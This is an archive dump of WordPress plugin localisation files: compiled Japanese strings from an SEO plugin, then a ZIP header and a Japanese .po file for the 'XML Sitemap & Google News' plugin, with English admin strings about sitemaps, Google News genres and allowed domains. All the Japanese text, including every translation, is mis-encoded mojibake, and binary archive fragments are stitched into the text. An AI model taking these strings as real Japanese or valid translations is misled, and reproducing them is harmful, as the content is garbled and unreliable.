ã•ã„。警告:%s ã¯ã‚ãªãŸãŒæ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ã‚’ブロックã—ã¦ã„ã‚‹ã“ã¨ã‚’検出ã—ã¾ã—ãŸã€‚[設定] > [表示設定]ã§å¤‰æ›´ã§ãã¾ã™ã€‚警告: %4$s ã§ %2$s %3$s ãŒã™ã§ã«ç”Ÿæˆæ¸ˆã¿ã®é™çš„サイトマップ '%1$s' ãŒã€å‹•的サイトマップ生æˆã¨ç«¶åˆã™ã‚‹å¯èƒ½æ€§ãŒã‚りã¾ã™ã€‚警告:動的ãªã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã®ç”Ÿæˆã¯ãƒ‘ーマリンクを有効ã«ã™ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚警告:サイトãŒã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ã•れãªã„ã‚ˆã†æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã—プライãƒã‚·ãƒ¼è¨­å®šæ§‹ç¯‰ã•れã¾ã™ã€‚; サイトã®ãŸã‚ã« %s ã®ä¸‹ã«ã“れを変更ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ビデオãƒãƒ¥ãƒ¼ãƒˆãƒªã‚¢ãƒ«ã‚’見るã™ã¹ã¦ã®è¨­å®šã¨æ©Ÿèƒ½ã«å®Œå…¨ãªãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆãŒã‚りã¾ã™ã€‚WooCommerce ã‚’ãŠä½¿ã„ã§ã‚ã‚‹ã“ã¨ã‚’検出ã—ã¾ã—ãŸã€‚%sã«ã‚¢ãƒƒãƒ—グレードã—ã¦ã€å•†å“カテゴリー㮠SEO ãªã©ã®é«˜åº¦ãªeコマース機能を活用ã—ã¾ã—ょã†ã€‚ウェブマスターèªè¨¼ã‚µã‚¤ãƒˆæ¯Žé€±%1$s %2$s ã¸ã‚ˆã†ã“ã%s ã¸ã‚ˆã†ã“ãã“れã¯ã©ã†ã„ã†æ„味ã§ã™ã‹ ?ã“ã“ã§å…¥åŠ›ã™ã‚‹ã¨ã€ã™ã¹ã¦ã®å›ºå®šãƒšãƒ¼ã‚¸ã®ãƒ˜ãƒƒãƒ€ã«ãã®ã¾ã¾ã‚³ãƒ”ーã•れã¾ã™ã€‚スタイルシートã®å‚ç…§ã•ãˆã€ã‚ãªãŸãŒãƒ˜ãƒƒãƒ€ãƒ¼ã«è¿½åŠ ã—ãŸã„ã‚‚ã®ã‚’入力ã§ãã¾ã™ã€‚ã“ã“ã§å…¥åŠ›ã™ã‚‹ã¨ã€ã™ã¹ã¦ã®æŠ•稿ã®ãƒ˜ãƒƒãƒ€ã«ãã®ã¾ã¾ã‚³ãƒ”ーã•れã¾ã™ã€‚スタイルシートã®å‚ç…§ã•ãˆã€ã‚ãªãŸãŒãƒ˜ãƒƒãƒ€ãƒ¼ã«è¿½åŠ ã—ãŸã„ã‚‚ã®ã‚’入力ã§ãã¾ã™ã€‚ã“ã“ã§å…¥åŠ›ã™ã‚‹ã¨ã€é™çš„ページを設定ã—ãŸãƒ•ロントページã®ãƒ˜ãƒƒãƒ€ã«ãã®ã¾ã¾ã‚³ãƒ”ーã•れã¾ã™ã€‚スタイルシートã®å‚ç…§ã•ãˆã€ã‚ãªãŸãŒãƒ˜ãƒƒãƒ€ãƒ¼ã«è¿½åŠ ã—ãŸã„ã‚‚ã®ã‚’入力ã§ãã¾ã™ã€‚ã‚‚ã—ã€ã“ã“ã«å…¥åŠ›ã‚’ã›ãšã€è¨­å®šã™ã‚Œã°ã€Additional Page Headers を使用ã™ã‚‹ã‚ˆã†ã«ãƒ•ォールãƒãƒƒã‚¯ã—ã¾ã™ã€‚設定ã•れã¦ã„る最新投稿ãªã©ãŒè¡¨ç¤ºã•れるフロントページã®å ´åˆã€ã“ã“ã§å…¥åŠ›ã—ãŸã‚‚ã®ãŒãƒ˜ãƒƒãƒ€ã«ãã®ã¾ã¾ã‚³ãƒ”ーã•れã¾ã™ã€‚åŒã˜è¨­å®šã‚’指定ãŸå ´åˆã¯ã€æŠ•稿ページもヘッダã«ãã®ã¾ã¾ã‚³ãƒ”ーã•れã¾ã™ã€‚スタイルシートã®å‚ç…§ã•ãˆã€ã‚ãªãŸãŒãƒ˜ãƒƒãƒ€ãƒ¼ã«è¿½åŠ ã—ãŸã„ã‚‚ã®ã‚’入力ã§ãã¾ã™ã€‚æ–°ç€æƒ…報ワイルドカード・パスを上書ãã§ãã¾ã›ã‚“: %sWordPress ã®ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³WordPress ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³XML サイトマップXML サイトマップYandex ウェブマスターツール:ã¯ã„XML サイトマップã«ã¤ã„ã¦è©³ã—ãã¯ã€sitemaps.org ã‚’ã”覧ãã ã•ã„。ã—ã°ã‚‰ãã®é–“ %1$s を使用ã—ã¦ã„ã¾ã™ã€‚ 素晴らã—ã„! %1$s ãŒæ°—ã«å…¥ã£ã¦ã„ãŸã‚‰ã€5ã¤æ˜Ÿã®è©•価ã—ã¦ãã ã•ã„。 ã©ã†ã‚‚ã‚りãŒã¨ã†ã”ã–ã„ã¾ã—ãŸï¼ã“れを変更ã™ã‚‹ã«ã¯ã€Œæ©Ÿèƒ½ç®¡ç†ã€ã§ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã‚’有効化ã¾ãŸã¯åœæ­¢ã—ã¾ã™ã€‚アクティブãªãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã‹ã‚‰è¨­å®šã‚’エクスãƒãƒ¼ãƒˆã—ã€æŠ•ç¨¿ãƒ‡ãƒ¼ã‚¿ã‹ã‚‰ã‚³ãƒ³ãƒ†ãƒ³ãƒ„をエクスãƒãƒ¼ãƒˆã™ã‚‹ã“ã¨ã‚’é¸æŠžã§ãã¾ã™ã€‚ä»–ã®ãƒ—ラグインやテーマã«ã‚ˆã£ã¦å‡ºåŠ›ã•れã¦ã„るソーシャルメタタグを使用ã™ã‚‹ã“ã¨ã‚’ãŠå‹§ã‚ã—ã¾ã™ã€‚ ã‚‚ã—ãã†ãªã‚‰ã€æ©Ÿèƒ½ç®¡ç†ã§ã“ã®ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ¡ã‚¿æ©Ÿèƒ½ã‚’åœæ­¢ã™ã‚‹ã¹ãã§ã™ã€‚実行ã™ã‚‹ã«ã¯æœ‰åйãªãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã‚­ãƒ¼ã®å…¥åŠ›ãŒå¿…è¦ã§ã™ã€‚ソーシャルメタタグãŒé‡è¤‡ã—ãªã„よã†ã«ã™ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚ Facebookã‚„Twitterã®ã“れらã®ç„¡æ–™ãƒ„ールを使ã£ã¦ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ¡ã‚¿ã‚’検証ã—ã€ã‚¨ãƒ©ãƒ¼ã‚’ãƒã‚§ãƒƒã‚¯ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ : ãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã®æœ‰åŠ¹æœŸé™ãŒåˆ‡ã‚Œã¦ã„ã¾ã™ã€‚ æ–°ã—ã„ã‚‚ã®ã‚’購入ã™ã‚‹ã«ã¯%1$sã“ã“をクリック%2$sã—ã¦ãã ã•ã„。サイトã®èª¬æ˜Žã‚µã‚¤ãƒˆã®ã‚¿ã‚¤ãƒˆãƒ«ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã¯ã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã¨ç”»åƒã‚‚作られã¦ã„ã¾ã™ã€‚ã—ã°ã‚‰ãã®é–“アーカイブページ投稿者ページ日付動的åフォロー頻度ホームページhttps://semperplugins.com/all-in-one-seo-pack-pro-version/index姓月ナイスãƒãƒ¼ãƒ ãƒ•ォローã—ãªã„noindex投稿優先順ä½ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—固定タクソノミーã“れã¯XMLサイトマップã§ã€Googleã‚„Bingãªã©ã®æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ã‚ˆã£ã¦ä½¿ç”¨ã•れるã“ã¨ã‚’æ„図ã—ã¦ã„ã¾ã™ã€‚Pro ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«ã‚¢ãƒƒãƒ—グレードã—ã¦ã€ä»¥ä¸‹ã‚’手ã«å…¥ã‚Œã‚‹:ユーザーåXML サイトマップを表示年{一時的ã«ãƒ•ィードを読ã¿è¾¼ã‚€ã“ã¨ãŒã§ãã¾ã›ã‚“。}PKø®–[ ^£l£lxml-sitemap-feed-ja.ponu„[µü¤# Translation of Plugins - XML Sitemap & Google News - Stable (latest release) in Japanese # This file is distributed under the same license as the Plugins - XML Sitemap & Google News - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2018-10-16 07:16:42+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: GlotPress/2.4.0-alpha\n" "Language: ja_JP\n" "Project-Id-Version: Plugins - XML Sitemap & Google News - Stable (latest release)\n" #. Description of the plugin/theme msgid "Feed the hungry spiders in compliance with the XML Sitemap and Google News protocols. Happy with the results? Please leave me a tip for continued development and support. Thanks :)" msgstr "XML Sitemap and Google News ãƒ—ãƒ­ãƒˆã‚³ãƒ«ã«æº–æ‹ ã—ã¦ã„ã‚‹è…¹ãºã“ã®èœ˜è››ã«é£Ÿäº‹ã‚’ã€‚çµæžœã«ã”満足ã„ãŸã ã‘ãŸãªã‚‰ã€é–‹ç™ºã¨ã‚µãƒãƒ¼ãƒˆã‚’ç¶šã‘ã‚‹ãŸã‚ã«ãœã²ã”寄付をãŠé¡˜ã„ã—ã¾ã™ã€‚ã‚りãŒã¨ã† :)" #: includes/class-xmlsitemapfeed-admin.php:645 msgid "The FactCheck label may be applied if you publish stories with fact-checking content that's indicated by schema.org ClaimReview markup." msgstr "ファクト ãƒã‚§ãƒƒã‚¯ ラベルã¯ã€scheme.org ã® ClaimView マークアップã§ç¤ºã•れるファクト ãƒã‚§ãƒƒã‚¯ コンテンツをå«ã‚€è¨˜äº‹ã‚’公開ã™ã‚‹ã¨ãã«ä»˜ã‘ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:645 msgid "Use Ctrl plus click to select more than one or to deselect." msgstr "è¤‡æ•°é¸æŠžã¾ãŸã¯é¸æŠžè§£é™¤ã™ã‚‹ã«ã¯ Ctrl/Cmd キーを押ã—ãªãŒã‚‰ã‚¯ãƒªãƒƒã‚¯ã—ã¦ãã ã•ã„。" #: includes/class-xmlsitemapfeed-admin.php:635 msgid "FactCheck" msgstr "ファクト ãƒã‚§ãƒƒã‚¯" #: includes/class-xmlsitemapfeed-admin.php:634 msgid "UserGenerated" msgstr "ユーザー作æˆã‚³ãƒ³ãƒ†ãƒ³ãƒ„" #: includes/class-xmlsitemapfeed-admin.php:633 msgid "Opinion" msgstr "æ„見コンテンツ" #: includes/class-xmlsitemapfeed-admin.php:632 msgid "OpEd" msgstr "論説" #: includes/class-xmlsitemapfeed-admin.php:631 msgid "Blog" msgstr "ブログ" #: includes/class-xmlsitemapfeed-admin.php:630 msgid "Satire" msgstr "風刺" #: includes/class-xmlsitemapfeed-admin.php:629 msgid "PressRelease" msgstr "プレスリリース" #: includes/class-xmlsitemapfeed-admin.php:598 msgid "Source labels provide more information about the content of your articles." msgstr "ニュースæä¾›å…ƒãƒ©ãƒ™ãƒ«ã¯è¨˜äº‹ã®å†…容ã«ã¤ã„ã¦ã‚‚ã£ã¨æƒ…報をæä¾›ã—ã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:310 msgid "Update Lastmod on comments." msgstr "コメント時㫠Lastmod を更新。" #: includes/functions.php:18 includes/functions.php:37 msgid "Conditional sitemap tags do not work before the sitemap request filter is run. Before then, they always return false." msgstr "ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã®æ¡ä»¶åˆ†å²ã‚¿ã‚°ã¯ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—è¦æ±‚フィルターã®å®Ÿè¡Œå‰ã«ã¯å‹•作ã—ã¾ã›ã‚“。ãã®å ´åˆ false ã‚’è¿”ã—ã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:305 msgid "Adjusts the Priority based on factors like age, comments, sticky post or blog page. Individual posts with fixed Priority will always keep that value." msgstr "çµŒéŽæœŸé–“ã€ã‚³ãƒ¡ãƒ³ãƒˆæ•°ã€å…ˆé ­å›ºå®šè¡¨ç¤ºãªã©ã‚’ææ–™ã¨ã—ã¦å„ªå…ˆåº¦ã‚’調整ã—ã¾ã™ã€‚優先度を指定ã—ãŸå€‹åˆ¥æŠ•稿ã¯ãã®å€¤ã‚’ä¿æŒã—ã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:305 msgid "Automatic Priority calculation." msgstr "優先度を自動計算ã™ã‚‹ã€‚" #: includes/class-xmlsitemapfeed-admin.php:215 msgid "Check this option and Save Changes to start fresh with the default settings." msgstr "ãƒã‚§ãƒƒã‚¯ã‚’入れã¦å¤‰æ›´ã‚’ä¿å­˜ã™ã‚‹ã¨ãƒ‡ãƒ•ォルトã®è¨­å®šã§æ–°ã—ãå§‹ã‚られã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:212 msgid "Clear all XML Sitemap & Google News Sitemap settings." msgstr "XML Sitemap & Google News Sitemap ã®è¨­å®šã‚’ã™ã¹ã¦æ¶ˆåŽ»ã—ã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:211 msgid "Selecting this will clear all XML Sitemap & Google News Sitemap settings after Save Changes. Are you sure?" msgstr "ã“れをé¸ã¶ã¨ã€å¤‰æ›´ã‚’ä¿å­˜ã—ãŸå¾Œã« XML Sitemap & Google News Sitemap ã®è¨­å®šãŒã™ã¹ã¦æ¶ˆåŽ»ã•れã¾ã™ã€‚よã‚ã—ã„ã§ã™ã‹?" #: includes/class-xmlsitemapfeed-admin.php:922 msgid "Google News" msgstr "Google ニュース" #: includes/class-xmlsitemapfeed-admin.php:955 msgid "Exclude from Google News Sitemap." msgstr "Google ニュースサイトマップã«å«ã‚ãªã„。" #: includes/class-xmlsitemapfeed-admin.php:946 msgid "Access" msgstr "アクセス" #: includes/class-xmlsitemapfeed-admin.php:616 #: includes/class-xmlsitemapfeed-admin.php:621 msgid "Paid subscription" msgstr "有料 (購読)" #: includes/class-xmlsitemapfeed-admin.php:615 #: includes/class-xmlsitemapfeed-admin.php:620 msgid "Free registration" msgstr "ç„¡æ–™ (登録)" #: includes/class-xmlsitemapfeed-admin.php:609 msgid "You can assign a different access level when writing a post." msgstr "投稿を書ãã¨ãã«é•ã†ã‚¢ã‚¯ã‚»ã‚¹ãƒ¬ãƒ™ãƒ«ã‚’割り当ã¦ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" #. Author URI of the plugin/theme msgid "http://status301.net/" msgstr "http://status301.net/" #. Author of the plugin/theme msgid "RavanH" msgstr "RavanH" #. Plugin URI of the plugin/theme msgid "http://status301.net/wordpress-plugins/xml-sitemap-feed/" msgstr "http://status301.net/wordpress-plugins/xml-sitemap-feed/" #. Plugin Name of the plugin/theme msgid "XML Sitemap & Google News feeds" msgstr "XML Sitemap & Google News feeds" #: includes/class-xmlsitemapfeed.php:1831 msgid "Google News Genre" msgstr "Google ニュースã®ç¨®é¡ž" #: includes/class-xmlsitemapfeed.php:1830 msgid "Google News Genres" msgstr "Google ニュースã®ç¨®é¡ž" #: includes/class-xmlsitemapfeed-admin.php:1091 msgid "Include taxonomies" msgstr "タクソノミーをå«ã‚ã‚‹" #: includes/class-xmlsitemapfeed-admin.php:1053 msgid "Enable XML sitemaps" msgstr "XML サイトマップを有効化" #: includes/class-xmlsitemapfeed-admin.php:904 msgid "Leave empty for automatic Priority as configured on %1$s > %2$s." msgstr "空ã«ã™ã‚‹ã¨ %1$s > %2$s ã§æŒ‡å®šã—ãŸå„ªå…ˆåº¦ãŒè‡ªå‹•çš„ã«ä½¿ã‚れã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:908 msgid "Exclude from XML Sitemap" msgstr "XML サイトマップã«å«ã‚ãªã„" #: includes/class-xmlsitemapfeed-admin.php:870 #: includes/class-xmlsitemapfeed-admin.php:1085 msgid "XML Sitemap" msgstr "XML サイトマップ" #: includes/class-xmlsitemapfeed-admin.php:676 msgid "Keywords may be drawn from, but are not limited to, the list of existing Google News keywords." msgstr "ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã¯æ—¢å­˜ã® Google ニュースキーワードã®ãƒªã‚¹ãƒˆã‹ã‚‰é¸ã¹ã¾ã™ãŒã€ãれã«é™å®šã•れã¦ã¯ã„ã¾ã›ã‚“。" #: includes/class-xmlsitemapfeed-admin.php:672 msgid "Separate with a comma." msgstr "コンマã§åŒºåˆ‡ã£ã¦ãã ã•ã„。" #: includes/class-xmlsitemapfeed-admin.php:670 msgid "Default topic(s):" msgstr "デフォルトã®ãƒˆãƒ”ック:" #: includes/class-xmlsitemapfeed-admin.php:663 msgid "Use %s for topics." msgstr "トピック㫠%s を使ã†ã€‚" #: includes/class-xmlsitemapfeed-admin.php:661 msgid "The %s tag is used to help classify the articles you submit to Google News by topic." msgstr "%s タグ㯠Google ニュースã¸é€ä¿¡ã™ã‚‹è¨˜äº‹ã‚’トピックã§åˆ†é¡žã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã—ã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:645 msgid "What does each source label mean?" msgstr "å„ニュースæä¾›å…ƒãƒ©ãƒ™ãƒ«ã«ã¤ã„ã¦" #: includes/class-xmlsitemapfeed-admin.php:645 msgid "Read more about source labels on %s" msgstr "ニュースæä¾›å…ƒãƒ©ãƒ™ãƒ«ã«ã¤ã„ã¦è©³ã—ã㯠%s を読んã§ãã ã•ã„。" #: includes/class-xmlsitemapfeed-admin.php:647 msgid "Default genre:" msgstr "デフォルトã®ç¨®é¡ž:" #: includes/class-xmlsitemapfeed-admin.php:642 msgid "You can assign different genres when writing a post." msgstr "投稿を書ãã¨ãã«ç¨®é¡žã‚’指定ã§ãã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:642 msgid "The %s tag specifies one or more properties for an article, namely, whether it is a press release, a blog post, an opinion, an op-ed piece, user-generated content, or satire." msgstr "%s ã‚¿ã‚°ã¯è¨˜äº‹ã®ç¨®é¡žã‚’プレスリリース (PressRelease)ã€ãƒ–ログ投稿 (Blog)ã€æ„見 (Opinion)ã€è«–説 (OpEd)ã€ãƒ¦ãƒ¼ã‚¶ãƒ¼ä½œæˆã‚³ãƒ³ãƒ†ãƒ³ãƒ„ (UserGenerated)ã€é¢¨åˆº (Satire) ã‹ã‚‰ã²ã¨ã¤ä»¥ä¸ŠæŒ‡å®šã—ã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:619 msgid "Tag Password Protected posts as" msgstr "パスワードä¿è­·ã•ã‚ŒãŸæŠ•ç¨¿ã«ã¤ã‘ã‚‹ã‚¿ã‚°:" #: includes/class-xmlsitemapfeed-admin.php:613 msgid "Tag normal posts as" msgstr "ãµã¤ã†ã®æŠ•稿ã«ã¤ã‘ã‚‹ã‚¿ã‚°:" #: includes/class-xmlsitemapfeed-admin.php:608 #: includes/class-xmlsitemapfeed-admin.php:951 msgid "Subscription" msgstr "購読" #: includes/class-xmlsitemapfeed-admin.php:608 #: includes/class-xmlsitemapfeed-admin.php:950 msgid "Registration" msgstr "登録" #: includes/class-xmlsitemapfeed-admin.php:608 msgid "The %4$s tag specifies whether an article is available to all readers (%1$s), or only to those with a free (%2$s) or paid membership (%3$s) to your site." msgstr "%4$s ã‚¿ã‚°ã¯ã€ã™ã¹ã¦ã®èª­è€…ãŒè¡¨ç¤ºã§ãる記事 (%1$s) ã‹ã€ã‚µã‚¤ãƒˆã®ç„¡æ–™ (%2$s) ã¾ãŸã¯æœ‰æ–™ (%3$s) 会員ã®ã¿ãŒè¡¨ç¤ºã§ãる記事ã‹ã‚’指定ã—ã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:597 #: includes/class-xmlsitemapfeed-admin.php:1078 msgid "Source labels" msgstr "ニュースæä¾›å…ƒãƒ©ãƒ™ãƒ«" #: includes/class-xmlsitemapfeed-admin.php:591 msgid "Note: Google News prefers at most one image per article in the News Sitemap. If multiple valid images are specified, the crawler will have to pick one arbitrarily. Images in News Sitemaps should be in jpeg or png format." msgstr "å‚考: Google ニュースã¯ãƒ‹ãƒ¥ãƒ¼ã‚¹ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—内ã®è¨˜äº‹ã”ã¨ã«ç”»åƒã‚’最大ã²ã¨ã¤ã¨ã—ã¾ã™ã€‚è¤‡æ•°ã®æœ‰åйãªç”»åƒãŒæŒ‡å®šã•れã¦ã„ã‚‹å ´åˆã€ã‚¯ãƒ­ãƒ¼ãƒ©ãƒ¼ã¯ã²ã¨ã¤ã‚’ä»»æ„ã§é¸ã³ã¾ã™ã€‚ニュースサイトマップ内ã®ç”»åƒã¯ jpeg ã¾ãŸã¯ png å½¢å¼ã§ãªã‘れã°ãªã‚Šã¾ã›ã‚“。" #: includes/class-xmlsitemapfeed-admin.php:569 msgid "Use the Ctrl/Cmd key plus click to select more than one or to deselect." msgstr "è¤‡æ•°é¸æŠžã¾ãŸã¯é¸æŠžè§£é™¤ã™ã‚‹ã«ã¯ Ctrl/Cmd キーを押ã—ãªãŒã‚‰ã‚¯ãƒªãƒƒã‚¯ã—ã¦ãã ã•ã„。" #: includes/class-xmlsitemapfeed-admin.php:569 msgid "If you wish to limit posts that will feature in your News Sitemap to certain categories, select them here. If no categories are selected, posts of all categories will be included in your News Sitemap." msgstr "ニュースサイトマップã«å…¥ã‚Œã‚‹æŠ•稿を特定ã®ã‚«ãƒ†ã‚´ãƒªãƒ¼ã«é™ã‚‹ã«ã¯ã€ã“ã“ã§é¸ã‚“ã§ãã ã•ã„。ã©ã®ã‚«ãƒ†ã‚´ãƒªãƒ¼ã‚‚é¸ã°ãªã‘れã°ã€ã™ã¹ã¦ã®ã‚«ãƒ†ã‚´ãƒªãƒ¼ã®æŠ•稿ãŒãƒ‹ãƒ¥ãƒ¼ã‚¹ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã¸å«ã¾ã‚Œã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:553 msgid "Limit to posts in these post categories:" msgstr "以下ã®ã‚«ãƒ†ã‚´ãƒªãƒ¼ã®æŠ•稿ã«é™å®š:" #: includes/class-xmlsitemapfeed-admin.php:535 msgid "Selection based on categories will be available when only the post type %s is included above." msgstr "カテゴリーã«ã‚ˆã‚‹é¸æŠžã¯ã€ä¸Šã®è¨­å®šã«æŠ•稿タイプ %s ãŒå«ã¾ã‚Œã¦ã„ã‚‹ã¨ãã ã‘使ãˆã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:524 msgid "At least one post type must be selected. By default, the post type %s will be used." msgstr "投稿タイプをã²ã¨ã¤ä»¥ä¸Šé¸ã‚“ã§ãã ã•ã„。デフォルトã§ã¯æŠ•稿タイプ %s ãŒä½¿ã‚れã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:498 #: includes/class-xmlsitemapfeed-admin.php:1075 #: includes/class-xmlsitemapfeed-admin.php:1088 msgid "Include post types" msgstr "投稿タイプをå«ã‚ã‚‹" #: includes/class-xmlsitemapfeed-admin.php:495 msgid "Error: There where no valid post types found. Without at least one public post type, a Google News Sitemap cannot be created by this plugin. Please deselect the option Google News Sitemap at Enable XML sitemaps and choose another method." msgstr "エラー: æœ‰åŠ¹ãªæŠ•ç¨¿ã‚¿ã‚¤ãƒ—ãŒã‚りã¾ã›ã‚“。公開ã•ã‚ŒãŸæŠ•ç¨¿ã‚¿ã‚¤ãƒ—ãŒãªã‘れã°ã€ã“ã®ãƒ—ラグイン㯠Google ニュースサイトマップを生æˆã§ãã¾ã›ã‚“。有効ã«ã™ã‚‹ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã® Google ニュースサイトマップã®ãƒã‚§ãƒƒã‚¯ã‚’外ã—ã€ ä»–ã®æ–¹æ³•ã‚’é¸ã‚“ã§ãã ã•ã„。" #: includes/class-xmlsitemapfeed-admin.php:479 msgid "The publication name should match the name submitted on the Google News Publisher Center. If you wish to change it, please read Updated publication name." msgstr "パブリケーションå㯠Google ニュースパブリッシャーセンターã¸é€ä¿¡ã™ã‚‹åå‰ã¨ä¸€è‡´ã—ãªã‘れã°ãªã‚Šã¾ã›ã‚“。変更ã—ãŸã‘れ㰠パブリケーションåã®æ›´æ–° ã‚’ãŠèª­ã¿ãã ã•ã„。" #: includes/class-xmlsitemapfeed-admin.php:478 msgid "By default, the general %s setting will be used." msgstr "デフォルトã§ã¯ä¸€èˆ¬è¨­å®šã® %s ãŒä½¿ã‚れã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:477 #: includes/class-xmlsitemapfeed-admin.php:1074 msgid "Publication name" msgstr "パブリケーションå" #: includes/class-xmlsitemapfeed-admin.php:466 msgid "It is strongly recommended to submit your news sitemap to your Google Webmasters Tools account to monitor for warnings or errors. Read more on how to Manage sitemaps with the Sitemaps page." msgstr "警告やエラーを監視ã™ã‚‹ãŸã‚ã«ãƒ‹ãƒ¥ãƒ¼ã‚¹ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã‚’ Google ウェブマスターツールã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã¸é€ä¿¡ã™ã‚‹ã“ã¨ã‚’å¼·ãæŽ¨å¥¨ã—ã¾ã™ã€‚詳ã—ãã¯ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—レãƒãƒ¼ãƒˆã§ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—を管ç†ã™ã‚‹æ–¹æ³•を読んã§ãã ã•ã„。" #: includes/class-xmlsitemapfeed-admin.php:465 msgid "When you are done configuring and preparing your news content and you are convinced your site adheres to the Google News guidelines, go ahead and submit your site for inclusion!" msgstr "設定ã¨ãƒ‹ãƒ¥ãƒ¼ã‚¹å†…å®¹ã®æº–å‚™ãŒæ¸ˆã¿ã€ã‚µã‚¤ãƒˆãŒGoogle ニュースガイドラインã«åˆã†ã¨ç¢ºä¿¡ã§ããŸã‚‰ã€ã‚µã‚¤ãƒˆã‚’é€ä¿¡ã—ã¾ã—ょㆠ!" #: includes/class-xmlsitemapfeed-admin.php:464 msgid "These settings control the Google News Sitemap generated by the %s plugin." msgstr "以下ã®è¨­å®šã¯ %s プラグインãŒç”Ÿæˆã™ã‚‹ Google ニュース サイトマップを制御ã—ã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:450 msgid "By default, only the domain %s as used in your WordPress site address is allowed. This means that all URLs that use another domain (custom URLs or using a plugin like Page Links To) are filtered from the XML Sitemap. However, if you are the verified owner of other domains in your Google/Bing Webmaster Tools account, you can include these in the same sitemap. Add these domains, without protocol (http/https) each on a new line. Note that if you enter a domain with www, all URLs without it or with other subdomains will be filtered." msgstr "デフォルトã§ã¯ã€WordPress ã®ã‚µã‚¤ãƒˆã‚¢ãƒ‰ãƒ¬ã‚¹ã§ã‚るドメイン %s ã ã‘ãŒè¨±å¯ã•れã¾ã™ã€‚ã¤ã¾ã‚Šä»–ã®ãƒ‰ãƒ¡ã‚¤ãƒ³ (カスタム URL ã‚„ Page Links To プラグインã«ã‚ˆã‚‹ã‚‚ã®ãªã©) 㯠XML サイトマップã‹ã‚‰é™¤å¤–ã•れã¾ã™ã€‚ã—ã‹ã—ã€Google/Bing ウェブマスターツールã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã§èªè¨¼æ¸ˆã¿ã®ä»–ã®ã‚µã‚¤ãƒˆã®æ‰€æœ‰è€…ãªã‚‰ã€åŒã˜ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã¸ãã®ã‚µã‚¤ãƒˆã‚’å«ã‚ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚プロトコル (http/https) ã‚’å«ã‚ãšã«ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’一行ã«ã²ã¨ã¤æŒ‡å®šã—ã¦ãã ã•ã„。注æ„: ã‚‚ã— www ã‚’ã¤ã‘ã¦ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’指定ã™ã‚‹ã¨ã€www ãªã—ã® URL ã‚„ä»–ã®ã‚µãƒ–ドメインã¯ã™ã¹ã¦é™¤å¤–ã•れã¾ã™ã€‚" #: includes/class-xmlsitemapfeed-admin.php:449 msgid "Additional domains to allow in the XML Sitemaps:" msgstr "XML サイトマップã«è¨±å¯ã™ã‚‹è¿½åŠ ã®ãƒ‰ãƒ¡ã‚¤ãƒ³:" #: includes/class-xmlsitemapfeed-admin.php:448 #: includes/class-xmlsitemapfeed-admin.php:1094 msgid "Allowed domains" msgstr "許å¯ã™ã‚‹ãƒ‰ãƒ¡ã‚¤ãƒ³" #: includes/class-xmlsitemapfeed-admin.php:438 msgid "Add the full URL, including protocol (http/https) and domain, of any (static) page that you want to append to the ones already included by WordPress. Optionally add a priority value between 0 and 1, separated with a space after the URL. Start each URL on a new 